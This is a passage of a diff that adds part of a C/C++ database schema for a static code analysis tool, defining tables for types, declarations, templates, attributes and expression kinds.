+ 1 = @using_declaration
+| 2 = @using_directive
+| 3 = @using_enum_declaration
+;
+
+usings(
+ unique int id: @using,
+ int element_id: @element ref,
+ int location: @location_default ref,
+ int kind: int ref
+);
+
+/** The element which contains the `using` declaration. */
+using_container(
+ int parent: @element ref,
+ int child: @using ref
+);
+
+static_asserts(
+ unique int id: @static_assert,
+ int condition : @expr ref,
+ string message : string ref,
+ int location: @location_default ref,
+ int enclosing : @element ref
+);
+
+// each function has an ordered list of parameters
+#keyset[id, type_id]
+#keyset[function, index, type_id]
+params(
+ int id: @parameter,
+ int function: @parameterized_element ref,
+ int index: int ref,
+ int type_id: @type ref
+);
+
+overrides(
+ int new: @function ref,
+ int old: @function ref
+);
+
+#keyset[id, type_id]
+membervariables(
+ int id: @membervariable,
+ int type_id: @type ref,
+ string name: string ref
+);
+
+#keyset[id, type_id]
+globalvariables(
+ int id: @globalvariable,
+ int type_id: @type ref,
+ string name: string ref
+);
+
+#keyset[id, type_id]
+localvariables(
+ int id: @localvariable,
+ int type_id: @type ref,
+ string name: string ref
+);
+
+autoderivation(
+ unique int var: @variable ref,
+ int derivation_type: @type ref
+);
+
+orphaned_variables(
+ int var: @localvariable ref,
+ int function: @function ref
+)
+
+enumconstants(
+ unique int id: @enumconstant,
+ int parent: @usertype ref,
+ int index: int ref,
+ int type_id: @type ref,
+ string name: string ref,
+ int location: @location_default ref
+);
+
+@variable = @localscopevariable | @globalvariable | @membervariable;
+
+@localscopevariable = @localvariable | @parameter;
+
+/**
+ * Built-in types are the fundamental types, e.g., integral, floating, and void.
+ */
+case @builtintype.kind of
+ 1 = @errortype
+| 2 = @unknowntype
+| 3 = @void
+| 4 = @boolean
+| 5 = @char
+| 6 = @unsigned_char
+| 7 = @signed_char
+| 8 = @short
+| 9 = @unsigned_short
+| 10 = @signed_short
+| 11 = @int
+| 12 = @unsigned_int
+| 13 = @signed_int
+| 14 = @long
+| 15 = @unsigned_long
+| 16 = @signed_long
+| 17 = @long_long
+| 18 = @unsigned_long_long
+| 19 = @signed_long_long
+// ... 20 Microsoft-specific __int8
+// ... 21 Microsoft-specific __int16
+// ... 22 Microsoft-specific __int32
+// ... 23 Microsoft-specific __int64
+| 24 = @float
+| 25 = @double
+| 26 = @long_double
+| 27 = @complex_float // C99-specific _Complex float
+| 28 = @complex_double // C99-specific _Complex double
+| 29 = @complex_long_double // C99-specific _Complex long double
+| 30 = @imaginary_float // C99-specific _Imaginary float
+| 31 = @imaginary_double // C99-specific _Imaginary double
+| 32 = @imaginary_long_double // C99-specific _Imaginary long double
+| 33 = @wchar_t // Microsoft-specific
+| 34 = @decltype_nullptr // C++11
+| 35 = @int128 // __int128
+| 36 = @unsigned_int128 // unsigned __int128
+| 37 = @signed_int128 // signed __int128
+| 38 = @float128 // __float128
+| 39 = @complex_float128 // _Complex __float128
+| 40 = @decimal32 // _Decimal32
+| 41 = @decimal64 // _Decimal64
+| 42 = @decimal128 // _Decimal128
+| 43 = @char16_t
+| 44 = @char32_t
+| 45 = @std_float32 // _Float32
+| 46 = @float32x // _Float32x
+| 47 = @std_float64 // _Float64
+| 48 = @float64x // _Float64x
+| 49 = @std_float128 // _Float128
+// ... 50 _Float128x
+| 51 = @char8_t
+| 52 = @float16 // _Float16
+| 53 = @complex_float16 // _Complex _Float16
+| 54 = @fp16 // __fp16
+| 55 = @std_bfloat16 // __bf16
+| 56 = @std_float16 // std::float16_t
+| 57 = @complex_std_float32 // _Complex _Float32
+| 58 = @complex_float32x // _Complex _Float32x
+| 59 = @complex_std_float64 // _Complex _Float64
+| 60 = @complex_float64x // _Complex _Float64x
+| 61 = @complex_std_float128 // _Complex _Float128
+| 62 = @mfp8 // __mfp8
+;
+
+builtintypes(
+ unique int id: @builtintype,
+ string name: string ref,
+ int kind: int ref,
+ int size: int ref,
+ int sign: int ref,
+ int alignment: int ref
+);
+
+/**
+ * Derived types are types that are directly derived from existing types and
+ * point to, refer to, transform type data to return a new type.
+ */
+case @derivedtype.kind of
+ 1 = @pointer
+| 2 = @reference
+| 3 = @type_with_specifiers
+| 4 = @array
+| 5 = @gnu_vector
+| 6 = @routineptr
+| 7 = @routinereference
+| 8 = @rvalue_reference // C++11
+// ... 9 type_conforming_to_protocols deprecated
+| 10 = @block
+;
+
+derivedtypes(
+ unique int id: @derivedtype,
+ string name: string ref,
+ int kind: int ref,
+ int type_id: @type ref
+);
+
+pointerishsize(unique int id: @derivedtype ref,
+ int size: int ref,
+ int alignment: int ref);
+
+arraysizes(
+ unique int id: @derivedtype ref,
+ int num_elements: int ref,
+ int bytesize: int ref,
+ int alignment: int ref
+);
+
+typedefbase(
+ unique int id: @usertype ref,
+ int type_id: @type ref
+);
+
+/**
+ * An instance of the C++11 `decltype` operator or C23 `typeof`/`typeof_unqual`
+ * operator taking an expression as its argument. For example:
+ * ```
+ * int a;
+ * decltype(1+a) b;
+ * typeof(1+a) c;
+ * ```
+ * Here `expr` is `1+a`.
+ *
+ * Sometimes an additional pair of parentheses around the expression
+ * changes the semantics of the decltype, e.g.
+ * ```
+ * struct A { double x; };
+ * const A* a = new A();
+ * decltype( a->x ); // type is double
+ * decltype((a->x)); // type is const double&
+ * ```
+ * (Please consult the C++11 standard for more details).
+ * `parentheses_would_change_meaning` is `true` iff that is the case.
+ */
+
+/*
+case @decltype.kind of
+| 0 = @decltype
+| 1 = @typeof // The frontend does not differentiate between typeof and typeof_unqual
+;
+*/
+
+#keyset[id, expr]
+decltypes(
+ int id: @decltype,
+ int expr: @expr ref,
+ int kind: int ref,
+ int base_type: @type ref,
+ boolean parentheses_would_change_meaning: boolean ref
+);
+
+/*
+case @type_operator.kind of
+| 0 = @typeof // The frontend does not differentiate between typeof and typeof_unqual
+| 1 = @underlying_type
+| 2 = @bases
+| 3 = @direct_bases
+| 4 = @add_lvalue_reference
+| 5 = @add_pointer
+| 6 = @add_rvalue_reference
+| 7 = @decay
+| 8 = @make_signed
+| 9 = @make_unsigned
+| 10 = @remove_all_extents
+| 11 = @remove_const
+| 12 = @remove_cv
+| 13 = @remove_cvref
+| 14 = @remove_extent
+| 15 = @remove_pointer
+| 16 = @remove_reference_t
+| 17 = @remove_restrict
+| 18 = @remove_volatile
+| 19 = @remove_reference
+;
+*/
+
+type_operators(
+ unique int id: @type_operator,
+ int arg_type: @type ref,
+ int kind: int ref,
+ int base_type: @type ref
+)
+
+/*
+case @usertype.kind of
+| 0 = @unknown_usertype
+| 1 = @struct
+| 2 = @class
+| 3 = @union
+| 4 = @enum
+// ... 5 = @typedef deprecated // classic C: typedef typedef type name
+// ... 6 = @template deprecated
+| 7 = @template_parameter
+| 8 = @template_template_parameter
+| 9 = @proxy_class // a proxy class associated with a template parameter
+// ... 10 objc_class deprecated
+// ... 11 objc_protocol deprecated
+// ... 12 objc_category deprecated
+| 13 = @scoped_enum
+// ... 14 = @using_alias deprecated // a using name = type style typedef
+| 15 = @template_struct
+| 16 = @template_class
+| 17 = @template_union
+| 18 = @alias
+;
+*/
+
+usertypes(
+ unique int id: @usertype,
+ string name: string ref,
+ int kind: int ref
+);
+
+usertypesize(
+ unique int id: @usertype ref,
+ int size: int ref,
+ int alignment: int ref
+);
+
+usertype_final(unique int id: @usertype ref);
+
+usertype_uuid(
+ unique int id: @usertype ref,
+ string uuid: string ref
+);
+
+/*
+case @usertype.alias_kind of
+| 0 = @typedef
+| 1 = @alias
+*/
+
+usertype_alias_kind(
+ int id: @usertype ref,
+ int alias_kind: int ref
+)
+
+nontype_template_parameters(
+ int id: @expr ref
+);
+
+type_template_type_constraint(
+ int id: @usertype ref,
+ int constraint: @expr ref
+);
+
+mangled_name(
+ unique int id: @declaration ref,
+ int mangled_name : @mangledname,
+ boolean is_complete: boolean ref
+);
+
+is_pod_class(unique int id: @usertype ref);
+is_standard_layout_class(unique int id: @usertype ref);
+
+is_complete(unique int id: @usertype ref);
+
+is_class_template(unique int id: @usertype ref);
+class_instantiation(
+ int to: @usertype ref,
+ int from: @usertype ref
+);
+class_template_argument(
+ int type_id: @usertype ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+class_template_argument_value(
+ int type_id: @usertype ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+@user_or_decltype = @usertype | @decltype;
+
+is_proxy_class_for(
+ unique int id: @usertype ref,
+ int templ_param_id: @user_or_decltype ref
+);
+
+type_mentions(
+ unique int id: @type_mention,
+ int type_id: @type ref,
+ int location: @location ref,
+ // a_symbol_reference_kind from the frontend.
+ int kind: int ref
+);
+
+is_function_template(unique int id: @function ref);
+function_instantiation(
+ unique int to: @function ref,
+ int from: @function ref
+);
+function_template_argument(
+ int function_id: @function ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+function_template_argument_value(
+ int function_id: @function ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+is_variable_template(unique int id: @variable ref);
+variable_instantiation(
+ unique int to: @variable ref,
+ int from: @variable ref
+);
+variable_template_argument(
+ int variable_id: @variable ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+variable_template_argument_value(
+ int variable_id: @variable ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+template_template_instantiation(
+ int to: @usertype ref,
+ int from: @usertype ref
+);
+template_template_argument(
+ int type_id: @usertype ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+template_template_argument_value(
+ int type_id: @usertype ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+@concept = @concept_template | @concept_id;
+
+concept_templates(
+ unique int concept_id: @concept_template,
+ string name: string ref,
+ int location: @location_default ref
+);
+concept_instantiation(
+ unique int to: @concept_id ref,
+ int from: @concept_template ref
+);
+is_type_constraint(int concept_id: @concept_id ref);
+concept_template_argument(
+ int concept_id: @concept ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+concept_template_argument_value(
+ int concept_id: @concept ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+routinetypes(
+ unique int id: @routinetype,
+ int return_type: @type ref
+);
+
+routinetypeargs(
+ int routine: @routinetype ref,
+ int index: int ref,
+ int type_id: @type ref
+);
+
+ptrtomembers(
+ unique int id: @ptrtomember,
+ int type_id: @type ref,
+ int class_id: @type ref
+);
+
+/*
+ specifiers for types, functions, and variables
+
+ "public",
+ "protected",
+ "private",
+
+ "const",
+ "volatile",
+ "static",
+
+ "pure",
+ "virtual",
+ "sealed", // Microsoft
+ "__interface", // Microsoft
+ "inline",
+ "explicit",
+
+ "near", // near far extension
+ "far", // near far extension
+ "__ptr32", // Microsoft
+ "__ptr64", // Microsoft
+ "__sptr", // Microsoft
+ "__uptr", // Microsoft
+ "dllimport", // Microsoft
+ "dllexport", // Microsoft
+ "thread", // Microsoft
+ "naked", // Microsoft
+ "microsoft_inline", // Microsoft
+ "forceinline", // Microsoft
+ "selectany", // Microsoft
+ "nothrow", // Microsoft
+ "novtable", // Microsoft
+ "noreturn", // Microsoft
+ "noinline", // Microsoft
+ "noalias", // Microsoft
+ "restrict", // Microsoft
+*/
+
+specifiers(
+ unique int id: @specifier,
+ unique string str: string ref
+);
+
+typespecifiers(
+ int type_id: @type ref,
+ int spec_id: @specifier ref
+);
+
+funspecifiers(
+ int func_id: @function ref,
+ int spec_id: @specifier ref
+);
+
+varspecifiers(
+ int var_id: @accessible ref,
+ int spec_id: @specifier ref
+);
+
+explicit_specifier_exprs(
+ unique int func_id: @function ref,
+ int constant: @expr ref
+)
+
+attributes(
+ unique int id: @attribute,
+ int kind: int ref,
+ string name: string ref,
+ string name_space: string ref,
+ int location: @location_default ref
+);
+
+case @attribute.kind of
+ 0 = @gnuattribute
+| 1 = @stdattribute
+| 2 = @declspec
+| 3 = @msattribute
+| 4 = @alignas
+// ... 5 @objc_propertyattribute deprecated
+;
+
+attribute_args(
+ unique int id: @attribute_arg,
+ int kind: int ref,
+ int attribute: @attribute ref,
+ int index: int ref,
+ int location: @location_default ref
+);
+
+case @attribute_arg.kind of
+ 0 = @attribute_arg_empty
+| 1 = @attribute_arg_token
+| 2 = @attribute_arg_constant
+| 3 = @attribute_arg_type
+| 4 = @attribute_arg_constant_expr
+| 5 = @attribute_arg_expr
+;
+
+attribute_arg_value(
+ unique int arg: @attribute_arg ref,
+ string value: string ref
+);
+attribute_arg_type(
+ unique int arg: @attribute_arg ref,
+ int type_id: @type ref
+);
+attribute_arg_constant(
+ unique int arg: @attribute_arg ref,
+ int constant: @expr ref
+)
+attribute_arg_expr(
+ unique int arg: @attribute_arg ref,
+ int expr: @expr ref
+)
+attribute_arg_name(
+ unique int arg: @attribute_arg ref,
+ string name: string ref
+);
+
+typeattributes(
+ int type_id: @type ref,
+ int spec_id: @attribute ref
+);
+
+funcattributes(
+ int func_id: @function ref,
+ int spec_id: @attribute ref
+);
+
+varattributes(
+ int var_id: @accessible ref,
+ int spec_id: @attribute ref
+);
+
+stmtattributes(
+ int stmt_id: @stmt ref,
+ int spec_id: @attribute ref
+);
+
+@type = @builtintype
+ | @derivedtype
+ | @usertype
+ | @routinetype
+ | @ptrtomember
+ | @decltype
+ | @type_operator;
+
+unspecifiedtype(
+ unique int type_id: @type ref,
+ int unspecified_type_id: @type ref
+);
+
+member(
+ int parent: @type ref,
+ int index: int ref,
+ int child: @member ref
+);
+
+@enclosingfunction_child = @usertype | @variable | @namespace
+
+enclosingfunction(
+ unique int child: @enclosingfunction_child ref,
+ int parent: @function ref
+);
+
+derivations(
+ unique int derivation: @derivation,
+ int sub: @type ref,
+ int index: int ref,
+ int super: @type ref,
+ int location: @location_default ref
+);
+
+derspecifiers(
+ int der_id: @derivation ref,
+ int spec_id: @specifier ref
+);
+
+/**
+ * Contains the byte offset of the base class subobject within the derived
+ * class. Only holds for non-virtual base classes, but see table
+ * `virtual_base_offsets` for offsets of virtual base class subobjects.
+ */
+direct_base_offsets(
+ unique int der_id: @derivation ref,
+ int offset: int ref
+);
+
+/**
+ * Contains the byte offset of the virtual base class subobject for class
+ * `super` within a most-derived object of class `sub`. `super` can be either a
+ * direct or indirect base class.
+ */
+#keyset[sub, super]
+virtual_base_offsets(
+ int sub: @usertype ref,
+ int super: @usertype ref,
+ int offset: int ref
+);
+
+frienddecls(
+ unique int id: @frienddecl,
+ int type_id: @type ref,
+ int decl_id: @declaration ref,
+ int location: @location_default ref
+);
+
+@declaredtype = @usertype ;
+
+@declaration = @function
+ | @declaredtype
+ | @variable
+ | @enumconstant
+ | @frienddecl
+ | @concept_template;
+
+@member = @membervariable
+ | @function
+ | @declaredtype
+ | @enumconstant;
+
+@locatable = @diagnostic
+ | @declaration
+ | @ppd_include
+ | @ppd_define
+ | @macroinvocation
+ /*| @funcall*/
+ | @xmllocatable
+ | @attribute
+ | @attribute_arg;
+
+@namedscope = @namespace | @usertype;
+
+@element = @locatable
+ | @file
+ | @folder
+ | @specifier
+ | @type
+ | @expr
+ | @namespace
+ | @initialiser
+ | @stmt
+ | @derivation
+ | @comment
+ | @preprocdirect
+ | @fun_decl
+ | @var_decl
+ | @type_decl
+ | @namespace_decl
+ | @using
+ | @namequalifier
+ | @specialnamequalifyingelement
+ | @static_assert
+ | @type_mention
+ | @lambdacapture;
+
+@exprparent = @element;
+
+comments(
+ unique int id: @comment,
+ string contents: string ref,
+ int location: @location_default ref
+);
+
+commentbinding(
+ int id: @comment ref,
+ int element: @element ref
+);
+
+exprconv(
+ int converted: @expr ref,
+ unique int conversion: @expr ref
+);
+
+compgenerated(unique int id: @element ref);
+
+/**
+ * `destructor_call` destructs the `i`'th entity that should be
+ * destructed following `element`. Note that entities should be
+ * destructed in reverse construction order, so for a given `element`
+ * these should be called from highest to lowest `i`.
+ */
+#keyset[element, destructor_call]
+#keyset[element, i]
+synthetic_destructor_call(
+ int element: @element ref,
+ int i: int ref,
+ int destructor_call: @routineexpr ref
+);
+
+namespaces(
+ unique int id: @namespace,
+ string name: string ref
+);
+
+namespace_inline(
+ unique int id: @namespace ref
+);
+
+namespacembrs(
+ int parentid: @namespace ref,
+ unique int memberid: @namespacembr ref
+);
+
+@namespacembr = @declaration | @namespace;
+
+exprparents(
+ int expr_id: @expr ref,
+ int child_index: int ref,
+ int parent_id: @exprparent ref
+);
+
+expr_isload(unique int expr_id: @expr ref);
+
+@cast = @c_style_cast
+ | @const_cast
+ | @dynamic_cast
+ | @reinterpret_cast
+ | @static_cast
+ ;
+
+/*
+case @conversion.kind of
+ 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast
+| 1 = @bool_conversion // conversion to 'bool'
+| 2 = @base_class_conversion // a derived-to-base conversion
+| 3 = @derived_class_conversion // a base-to-derived conversion
+| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member
+| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member
+| 6 = @glvalue_adjust // an adjustment of the type of a glvalue
+| 7 = @prvalue_adjust // an adjustment of the type of a prvalue
+;
+*/
+/**
+ * Describes the semantics represented by a cast expression. This is largely
+ * independent of the source syntax of the cast, so it is separate from the
+ * regular expression kind.
+ */
+conversionkinds(
+ unique int expr_id: @cast ref,
+ int kind: int ref
+);
+
+@conversion = @cast
+ | @array_to_pointer
+ | @parexpr
+ | @reference_to
+ | @ref_indirect
+ | @temp_init
+ | @c11_generic
+ ;
+
+/*
+case @funbindexpr.kind of
+ 0 = @normal_call // a normal call
+| 1 = @virtual_call // a virtual call
+| 2 = @adl_call // a call whose target is only found by ADL
+;
+*/
+iscall(
+ unique int caller: @funbindexpr ref,
+ int kind: int ref
+);
+
+numtemplatearguments(
+ unique int expr_id: @expr ref,
+ int num: int ref
+);
+
+specialnamequalifyingelements(
+ unique int id: @specialnamequalifyingelement,
+ unique string name: string ref
+);
+
+@namequalifiableelement = @expr | @namequalifier;
+@namequalifyingelement = @namespace
+ | @specialnamequalifyingelement
+ | @usertype;
+
+namequalifiers(
+ unique int id: @namequalifier,
+ unique int qualifiableelement: @namequalifiableelement ref,
+ int qualifyingelement: @namequalifyingelement ref,
+ int location: @location_default ref
+);
+
+varbind(
+ int expr: @varbindexpr ref,
+ int var: @accessible ref
+);
+
+funbind(
+ int expr: @funbindexpr ref,
+ int fun: @function ref
+);
+
+@any_new_expr = @new_expr
+ | @new_array_expr;
+
+@new_or_delete_expr = @any_new_expr
+ | @delete_expr
+ | @delete_array_expr;
+
+@prefix_crement_expr = @preincrexpr | @predecrexpr;
+
+@postfix_crement_expr = @postincrexpr | @postdecrexpr;
+
+@increment_expr = @preincrexpr | @postincrexpr;
+
+@decrement_expr = @predecrexpr | @postdecrexpr;
+
+@crement_expr = @increment_expr | @decrement_expr;
+
+@un_arith_op_expr = @arithnegexpr
+ | @unaryplusexpr
+ | @conjugation
+ | @realpartexpr
+ | @imagpartexpr
+ | @crement_expr
+ ;
+
+@un_bitwise_op_expr = @complementexpr;
+
+@un_log_op_expr = @notexpr;
+
+@un_op_expr = @address_of
+ | @indirect
+ | @un_arith_op_expr
+ | @un_bitwise_op_expr
+ | @builtinaddressof
+ | @vec_fill
+ | @un_log_op_expr
+ | @co_await
+ | @co_yield
+ ;
+
+@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr;
+
+@cmp_op_expr = @eq_op_expr | @rel_op_expr;
+
+@eq_op_expr = @eqexpr | @neexpr;
+
+@rel_op_expr = @gtexpr
+ | @ltexpr
+ | @geexpr
+ | @leexpr
+ | @spaceshipexpr
+ ;
+
+@bin_bitwise_op_expr = @lshiftexpr
+ | @rshiftexpr
+ | @andexpr
+ | @orexpr
+ | @xorexpr
+ ;
+
+@p_arith_op_expr = @paddexpr
+ | @psubexpr
+ | @pdiffexpr
+ ;
+
+@bin_arith_op_expr = @addexpr
+ | @subexpr
+ | @mulexpr
+ | @divexpr
+ | @remexpr
+ | @jmulexpr
+ | @jdivexpr
+ | @fjaddexpr
+ | @jfaddexpr
+ | @fjsubexpr
+ | @jfsubexpr
+ | @minexpr
+ | @maxexpr
+ | @p_arith_op_expr
+ ;
+
+@bin_op_expr = @bin_arith_op_expr
+ | @bin_bitwise_op_expr
+ | @cmp_op_expr
+ | @bin_log_op_expr
+ ;
+
+@op_expr = @un_op_expr
+ | @bin_op_expr
+ | @assign_expr
+ | @conditionalexpr
+ ;
+
+@assign_arith_expr = @assignaddexpr
+ | @assignsubexpr
+ | @assignmulexpr
+ | @assigndivexpr
+ | @assignremexpr
+ ;
+
+@assign_bitwise_expr = @assignandexpr
+ | @assignorexpr
+ | @assignxorexpr
+ | @assignlshiftexpr
+ | @assignrshiftexpr
+ ;
+
+@assign_pointer_expr = @assignpaddexpr
+ | @assignpsubexpr
+ ;
+
+@assign_op_expr = @assign_arith_expr
+ | @assign_bitwise_expr
+ | @assign_pointer_expr
+ ;
+
+@assign_expr = @assignexpr | @assign_op_expr | @blockassignexpr
+
+/*
+ Binary encoding of the allocator form.
+
+ case @allocator.form of
+ 0 = plain
+ | 1 = alignment
+ ;
+*/
+
+/**
+ * The allocator function associated with a `new` or `new[]` expression.
+ * The `form` column specified whether the allocation call contains an alignment
+ * argument.
+ */
+expr_allocator(
+ unique int expr: @any_new_expr ref,
+ int func: @function ref,
+ int form: int ref
+);
+
+/*
+ Binary encoding of the deallocator form.
+
+ case @deallocator.form of
+ 0 = plain
+ | 1 = size
+ | 2 = alignment
+ | 4 = destroying_delete
+ ;
+*/
+
+/**
+ * The deallocator function associated with a `delete`, `delete[]`, `new`, or
+ * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the
+ * one used to free memory if the initialization throws an exception.
+ * The `form` column specifies whether the deallocation call contains a size
+ * argument, and alignment argument, or both.
+ */
+expr_deallocator(
+ unique int expr: @new_or_delete_expr ref,
+ int func: @function ref,
+ int form: int ref
+);
+
+/**
+ * Holds if the `@conditionalexpr` is of the two operand form
+ * `guard ? : false`.
+ */
+expr_cond_two_operand(
+ unique int cond: @conditionalexpr ref
+);
+
+/**
+ * The guard of `@conditionalexpr` `guard ? true : false`
+ */
+expr_cond_guard(
+ unique int cond: @conditionalexpr ref,
+ int guard: @expr ref
+);
+
+/**
+ * The expression used when the guard of `@conditionalexpr`
+ * `guard ? true : false` holds. For the two operand form
+ * `guard ?: false` consider using `expr_cond_guard` instead.
+ */
+expr_cond_true(
+ unique int cond: @conditionalexpr ref,
+ int true: @expr ref
+);
+
+/**
+ * The expression used when the guard of `@conditionalexpr`
+ * `guard ? true : false` does not hold.
+ */
+expr_cond_false(
+ unique int cond: @conditionalexpr ref,
+ int false: @expr ref
+);
+
+/** A string representation of the value. */
+values(
+ unique int id: @value,
+ string str: string ref
+);
+
+/** The actual text in the source code for the value, if any. */
+valuetext(
+ unique int id: @value ref,
+ string text: string ref
+);
+
+valuebind(
+ int val: @value ref,
+ unique int expr: @expr ref
+);
+
+fieldoffsets(
+ unique int id: @variable ref,
+ int byteoffset: int ref,
+ int bitoffset: int ref
+);
+
+bitfield(
+ unique int id: @variable ref,
+ int bits: int ref,
+ int declared_bits: int ref
+);
+
+/* TODO
+memberprefix(
+ int member: @expr ref,
+ int prefix: @expr ref
+);
+*/
+
+/*
+ kind(1) = mbrcallexpr
+ kind(2) = mbrptrcallexpr
+ kind(3) = mbrptrmbrcallexpr
+ kind(4) = ptrmbrptrmbrcallexpr
+ kind(5) = mbrreadexpr // x.y
+ kind(6) = mbrptrreadexpr // p->y
+ kind(7) = mbrptrmbrreadexpr // x.*pm
+ kind(8) = mbrptrmbrptrreadexpr // x->*pm
+ kind(9) = staticmbrreadexpr // static x.y
+ kind(10) = staticmbrptrreadexpr // static p->y
+*/
+/* TODO
+memberaccess(
+ int member: @expr ref,
+ int kind: int ref
+);
+*/
+
+initialisers(
+ unique int init: @initialiser,
+ int var: @accessible ref,
+ unique int expr: @expr ref,
+ int location: @location_expr ref
+);
+
+braced_initialisers(
+ int init: @initialiser ref
+);
+
+/**
+ * An ancestor for the expression, for cases in which we cannot
+ * otherwise find the expression's parent.
+ */
+expr_ancestor(
+ int exp: @expr ref,
+ int ancestor: @element ref
+);
+
+exprs(
+ unique int id: @expr,
+ int kind: int ref,
+ int location: @location_expr ref
+);
+
+expr_reuse(
+ int reuse: @expr ref,
+ int original: @expr ref,
+ int value_category: int ref
+)
+
+/*
+ case @value.category of
+ 1 = prval
+ | 2 = xval
+ | 3 = lval
+ ;
+*/
+expr_types(
+ int id: @expr ref,
+ int typeid: @type ref,
+ int value_category: int ref
+);
+
+case @expr.kind of
+ 1 = @errorexpr
+| 2 = @address_of // & AddressOfExpr
+| 3 = @reference_to // ReferenceToExpr (implicit?)
+| 4 = @indirect // * PointerDereferenceExpr
+| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?)
+// ...
+| 8 = @array_to_pointer // (???)
+| 9 = @vacuous_destructor_call // VacuousDestructorCall
+// ...
+| 11 = @assume // Microsoft
+| 12 = @parexpr
+| 13 = @arithnegexpr
+| 14 = @unaryplusexpr
+| 15 = @complementexpr
+| 16 = @notexpr
+| 17 = @conjugation // GNU ~ operator
+| 18 = @realpartexpr // GNU __real
+| 19 = @imagpartexpr // GNU __imag
+| 20 = @postincrexpr
+| 21 = @postdecrexpr
+| 22 = @preincrexpr
+| 23 = @predecrexpr
+| 24 = @conditionalexpr
+| 25 = @addexpr
+| 26 = @subexpr
+| 27 = @mulexpr
+| 28 = @divexpr
+| 29 = @remexpr
+| 30 = @jmulexpr // C99 mul imaginary
+| 31 = @jdivexpr // C99 div imaginary
+| 32 = @fjaddexpr // C99 add real + imaginary
+| 33 = @jfaddexpr // C99 add imaginary + real
+| 34 = @fjsubexpr // C99 sub real - imaginary
+| 35 = @jfsubexpr // C99 sub imaginary - real
+| 36 = @paddexpr // pointer add (pointer + int or int + pointer)
+| 37 = @psubexpr // pointer sub (pointer - integer)
+| 38 = @pdiffexpr // difference between two pointers
+| 39 = @lshiftexpr
+| 40 = @rshiftexpr
+| 41 = @andexpr
+| 42 = @orexpr
+| 43 = @xorexpr
+| 44 = @eqexpr
+| 45 = @neexpr
+| 46 = @gtexpr
+| 47 = @ltexpr
+| 48 = @geexpr
+| 49 = @leexpr
+| 50 = @minexpr // GNU minimum
+| 51 = @maxexpr // GNU maximum
+| 52 = @assignexpr
+| 53 = @assignaddexpr
+| 54 = @assignsubexpr
+| 55 = @assignmulexpr
+| 56 = @assigndivexpr
+| 57 = @assignremexpr
+| 58 = @assignlshiftexpr
+| 59 = @assignrshiftexpr
+| 60 = @assignandexpr
+| 61 = @assignorexpr
+| 62 = @assignxorexpr
+| 63 = @assignpaddexpr // assign pointer add
+| 64 = @assignpsubexpr // assign pointer sub
+| 65 = @andlogicalexpr
+| 66 = @orlogicalexpr
+| 67 = @commaexpr
+| 68 = @subscriptexpr // access to member of an array, e.g., a[5]
+// ... 69 @objc_subscriptexpr deprecated
+// ... 70 @cmdaccess deprecated
+// ...
+| 73 = @virtfunptrexpr
+| 74 = @callexpr
+// ... 75 @msgexpr_normal deprecated
+// ... 76 @msgexpr_super deprecated
+// ... 77 @atselectorexpr deprecated
+// ... 78 @atprotocolexpr deprecated
+| 79 = @vastartexpr
+| 80 = @vaargexpr
+| 81 = @vaendexpr
+| 82 = @vacopyexpr
+// ... 83 @atencodeexpr deprecated
+| 84 = @varaccess
+| 85 = @thisaccess
+// ... 86 @objc_box_expr deprecated
+| 87 = @new_expr
+| 88 = @delete_expr
+| 89 = @throw_expr
+| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2)
+| 91 = @braced_init_list
+| 92 = @type_id
+| 93 = @runtime_sizeof
+| 94 = @runtime_alignof
+| 95 = @sizeof_pack
+| 96 = @expr_stmt // GNU extension
+| 97 = @routineexpr
+| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....)
+| 99 = @offsetofexpr // offsetof ::= type and field
+| 100 = @hasassignexpr // __has_assign ::= type
+| 101 = @hascopyexpr // __has_copy ::= type
+| 102 = @hasnothrowassign // __has_nothrow_assign ::= type
+| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type
+| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type
+| 105 = @hastrivialassign // __has_trivial_assign ::= type
+| 106 = @hastrivialconstr // __has_trivial_constructor ::= type
+| 107 = @hastrivialcopy // __has_trivial_copy ::= type
+| 108 = @hasuserdestr // __has_user_destructor ::= type
+| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type
+| 110 = @isabstractexpr // __is_abstract ::= type
+| 111 = @isbaseofexpr // __is_base_of ::= type type
+| 112 = @isclassexpr // __is_class ::= type
+| 113 = @isconvtoexpr // __is_convertible_to ::= type type
+| 114 = @isemptyexpr // __is_empty ::= type
+| 115 = @isenumexpr // __is_enum ::= type
+| 116 = @ispodexpr // __is_pod ::= type
+| 117 = @ispolyexpr // __is_polymorphic ::= type
+| 118 = @isunionexpr // __is_union ::= type
+| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type
+| 120 = @intaddrexpr // frontend internal builtin, used to implement offsetof
+// ...
+| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type
+| 123 = @literal
+| 124 = @uuidof
+| 127 = @aggregateliteral
+| 128 = @delete_array_expr
+| 129 = @new_array_expr
+// ... 130 @objc_array_literal deprecated
+// ... 131 @objc_dictionary_literal deprecated
+| 132 = @foldexpr
+// ...
+| 200 = @ctordirectinit
+| 201 = @ctorvirtualinit
+| 202 = @ctorfieldinit
+| 203 = @ctordelegatinginit
+| 204 = @dtordirectdestruct
+| 205 = @dtorvirtualdestruct
+| 206 = @dtorfielddestruct
+// ...
+| 210 = @static_cast
+| 211 = @reinterpret_cast
+| 212 = @const_cast
+| 213 = @dynamic_cast
+| 214 = @c_style_cast
+| 215 = @lambdaexpr
+| 216 = @param_ref
+| 217 = @noopexpr
+// ...
+| 294 = @istriviallyconstructibleexpr
+| 295 = @isdestructibleexpr
